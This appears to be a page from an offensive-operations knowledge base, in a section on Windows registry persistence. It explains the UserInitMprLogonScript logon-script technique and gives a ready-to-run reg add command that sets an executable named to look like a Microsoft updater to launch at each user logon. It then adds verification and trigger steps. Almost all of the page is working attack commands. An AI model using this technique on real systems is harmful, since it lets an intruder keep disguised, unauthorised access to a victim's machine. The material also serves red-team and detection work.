Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 04. Windows / 03. Persistence / Registry

Logon Script

HKCU\Environment\UserInitMprLogonScript runs when the user logs on. This is current-user persistence.

reg add HKCU\Environment /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%LOCALAPPDATA%\Microsoft\WindowsApps\updater.exe" /f

Verify:

reg query HKCU\Environment /v UserInitMprLogonScript

Trigger by logging off and logging back in as that user.